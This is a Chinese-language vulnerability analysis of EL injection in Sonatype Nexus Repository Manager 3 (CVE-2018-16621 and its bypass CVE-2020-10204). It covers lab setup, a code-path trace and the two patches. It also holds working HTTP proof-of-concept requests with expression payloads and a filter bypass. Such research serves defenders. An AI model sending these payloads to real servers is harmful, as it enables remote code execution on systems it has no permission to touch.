Nexus Repository UserComponent远程代码执行漏洞浅析(CVE-2018-16621&CVE-2020-10204)
2020-10-09 10:48:42 Author: xz.aliyun.com(查看原文) 阅读量:286 收藏

Nexus Repository OSS是一款通用的软件包仓库管理(Universal Repository Manager)服务。

Sonatype Nexus Repository Manager 3中的涉及漏洞的接口为/service/extdirect,接口需要管理员账户权限进行访问。该接口中处理请求时的UserComponent对象的注解的校验中使用EL引擎渲染,可以在访问接口时发送精心构造的恶意JSON数据,造成EL表达式注入进而远程执行任意命令。

CVE-2018-16621、CVE-2020-10204两个编号触发点和原理相同,可以算作同一漏洞,但CVE-2020-10204为CVE-2018-16621修复后的绕过漏洞。

影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.13

修复版本:Nexus Repository Manager OSS/Pro 3.14

风险:高 -- 7.1

权限:管理员帐号

环境

Github下载Nexus源码:

git clone https://github.com/sonatype/nexus-public.git

并且切换至包含漏洞的 3.13.0-01 分支:

cd nexus-public 
git checkout -f -b release-3.13.0-01 remotes/origin/release-3.13.0-01

拉取包含漏洞且与源码版本相同的nexus3镜像:

docker pull sonatype/nexus3:3.13.0

运行docker容器

docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g  -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.13.0
  • -p 5050:5050,为JDWP调试端口映射
  • -v /Users/rai4over/Desktop/nexus-data:/nexus-data,为nexus数据目录
  • INSTALL4J_ADD_VM_PARAMS,为动态调试参数
  • -p 8081:8081,为Web管理端口映射

IDEA配置远程调试信息

DEBUG端口成功后,发送任意请求可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter进行断点

复现

首先登录管理员账户,默认账号密码为admin/admin123,获取NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1,然后带着Cookie发送恶意请求:

POST /service/extdirect HTTP/1.1
Host: test.com:8081
Content-Length: 276
Pragma: no-cache
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://test.com:8081
Referer: http://test.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1
Connection: close

{
    "action": "coreui_User",
    "method": "update",
    "data": [{
        "userId": "admin",
        "version": "2",
        "firstName": "admin",
        "lastName": "User",
        "email": "[email protected]",
        "status": "active",
        "roles": ["exp|${222*6}|"]
    }],
    "type": "rpc",
    "tid": 11
}

表达式执行成功

分析

从对原生HttpServlet类重写的service开始入手

javax.servlet.http.HttpServlet#service(javax.servlet.ServletRequest, javax.servlet.ServletResponse)

javax.servlet.http.HttpServlet#service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)

因为通过req.getMethod()获取的请求方式为POST,进入对应的分支,当前请求对象信息为:

一路跟进到doPost函数

com.softwarementors.extjs.djn.servlet.DirectJNgineServlet#doPost

通过getFromRequestContentType得到请求类型为JSON,然后传入processRequest函数。

com.softwarementors.extjs.djn.servlet.DirectJNgineServlet#processRequest

进入对应的JSON分支,跟进到关键点。

com.softwarementors.extjs.djn.router.processor.standard.json.JsonRequestProcessor#processIndividualRequest

此处开始解析JSON数据,通过request.getAction()获得actioncoreui_User,通过request.getAction()获得methodupdate,通过getIndividualRequestParameters函数解析出data中的数据。

接着将解析好的数据传入dispatchStandardMethod,开始进行调度。

com.softwarementors.extjs.djn.router.processor.standard.StandardRequestProcessorBase#dispatchStandardMethod

com.softwarementors.extjs.djn.router.dispatcher.DispatcherBase#dispatch

可以很明显的看出通过反射进行处理请求,传参并实例化对象,继续跟进。

com.softwarementors.extjs.djn.router.dispatcher.DispatcherBase#invokeJavaMethod

直接跟到最后的原生反射处,反射调用了UserComponentupdate函数

org.sonatype.nexus.coreui.UserComponent#update

UserComponent#update使用了@Validate注解,看看对注解的处理方式

org.sonatype.nexus.validation.internal.ValidationInterceptor

反射取出注解validate,然后传入validateParameters

org.sonatype.nexus.validation.internal.ValidationInterceptor#validateParameters

这时候对传入的各个参数进行校验,看看roles成员是如何定义和校验的

org.sonatype.nexus.coreui.UserXO#roles

可以看到roles有注解@RolesExist,跟进去

org.sonatype.nexus.security.role.RolesExist

跟进@Constraint注解中的RolesExistValidator

public class RolesExistValidator
    extends ConstraintValidatorSupport<RolesExist, Collection<?>> // Collection<String> expected
{
  private final AuthorizationManager authorizationManager;

  @Inject
  public RolesExistValidator(final SecuritySystem securitySystem) throws NoSuchAuthorizationManagerException {
    this.authorizationManager = checkNotNull(securitySystem).getAuthorizationManager(AuthorizationManagerImpl.SOURCE);
  }

  @Override
  public boolean isValid(final Collection<?> value, final ConstraintValidatorContext context) {
    log.trace("Validating roles exist: {}", value);
    List<Object> missing = new LinkedList<>();
    for (Object item : value) {
      try {
        authorizationManager.getRole(String.valueOf(item));
      }
      catch (NoSuchRoleException e) {
        missing.add(item);
      }
    }
    if (missing.isEmpty()) {
      return true;
    }

    context.disableDefaultConstraintViolation();
    context.buildConstraintViolationWithTemplate("Missing roles: " + missing)
        .addConstraintViolation();
    return false;
  }
}

重写了isValid函数,在isValid中打好断点,能够成功断下。

此时重要的的是将恶意表达式作为参数传入了context.buildConstraintViolationWithTemplate,并且接着调用了executionContext.createConstraintViolations

/Users/rai4over/.m2/repository/org/hibernate/hibernate-validator/5.1.2.Final/hibernate-validator-5.1.2.Final-sources.jar!/org/hibernate/validator/internal/engine/constraintvalidation/ConstraintTree.java:291

调用栈很长,层层跟进到解析EL表达式的模块,执行注入的JAVA代码

com.sun.el.ValueExpressionImpl#getValue

表达式成功执行,最从update开始的调用栈为:

getValue:225, ValueExpressionImpl (com.sun.el)
interpolateExpressionLanguageTerm:112, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:90, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolateExpression:342, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:298, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:182, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:362, ValidationContext (org.hibernate.validator.internal.engine)
createConstraintViolation:271, ValidationContext (org.hibernate.validator.internal.engine)
createConstraintViolations:232, ValidationContext (org.hibernate.validator.internal.engine)
validateSingleConstraint:291, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
validateConstraints:133, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
validateConstraints:91, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
validateConstraint:83, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:547, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForNonDefaultGroup:511, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:448, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:403, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedConstraint:723, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedConstraints:601, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParametersInContext:992, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:300, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:254, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:65, ValidationInterceptor (org.sonatype.nexus.validation.internal)
invoke:51, ValidationInterceptor (org.sonatype.nexus.validation.internal)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
intercept:55, InterceptorStackCallback (com.google.inject.internal)
update:-1, UserComponent$$EnhancerByGuice$$f1ce12bd (org.sonatype.nexus.coreui)

补丁

https://github.com/sonatype/nexus-public/blob/f94f870eb4dbee30f82b9290e10a35658d4105f8/components/nexus-security/src/main/java/org/sonatype/nexus/security/role/RolesExistValidator.java

使用了stripJavaEl进行了过滤。

org.sonatype.nexus.common.template.EscapeHelper#stripJavaEl

过滤方式为对${进行替换为{

影响版本:Nexus Repository Manager OSS/Pro 3.x -3.21.1

修复版本:Nexus Repository Manager OSS/Pro 3.21.2

风险:紧急 -- 9.1

权限:管理员帐号

环境

并且切换至包含漏洞的 3.14.0-04 分支:

cd nexus-public 
git checkout -f -b release-3.14.0-04 remotes/origin/release-3.14.0-04

拉取包含漏洞且与源码版本相同的nexus3镜像:

docker pull sonatype/nexus3:3.14.0

运行docker容器

docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g  -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.14.0

操作方式和前面一样的

复现

POC

POST /service/extdirect HTTP/1.1
Host: test.com:8081
Content-Length: 279
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 730b1b90-7cbd-48cc-8072-833c0ee427e5
Content-Type: application/json
Accept: */*
Origin: http://test.com:8081
Referer: http://test.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=730b1b90-7cbd-48cc-8072-833c0ee427e5; NXSESSIONID=abf34c15-f276-4a5d-8dd3-14d623f67e6b
Connection: close

{
    "action": "coreui_User",
    "method": "create",
    "data": [{
        "userId": "admin",
        "version": "2",
        "firstName": "admin",
        "lastName": "User",
        "email": "[email protected]",
        "status": "active",
        "roles": ["exp|$\\A{2*333}|"]
    }],
    "type": "rpc",
    "tid": 11
}

执行结果

这里操作更换为create一样触发,并且表达式变为exp|$\\A{2*333}|成功绕过。

分析

恶意表达式exp|$\\A{2*333}|不会被value.replaceAll("\\$+\\{", "{")进行替换,但是仍然能够执行。

org/sonatype/nexus/security/role/RolesExistValidator.java:64

恶意表达式依旧能够作为参数传入buildConstraintViolationWithTemplate函数。

补丁

https://github.com/sonatype/nexus-public/blob/8780fb2261a25d9c86cae2f75f3c92bf0729760e/components/nexus-common/src/main/java/org/sonatype/nexus/common/template/EscapeHelper.java

https://support.sonatype.com/hc/en-us/articles/360044356194

https://blog.knownsec.com/2020/07/nexus-repository-manager-3-%E5%87%A0%E6%AC%A1%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204


文章来源: http://xz.aliyun.com/t/8319
如有侵权请联系:admin#unsafe.sh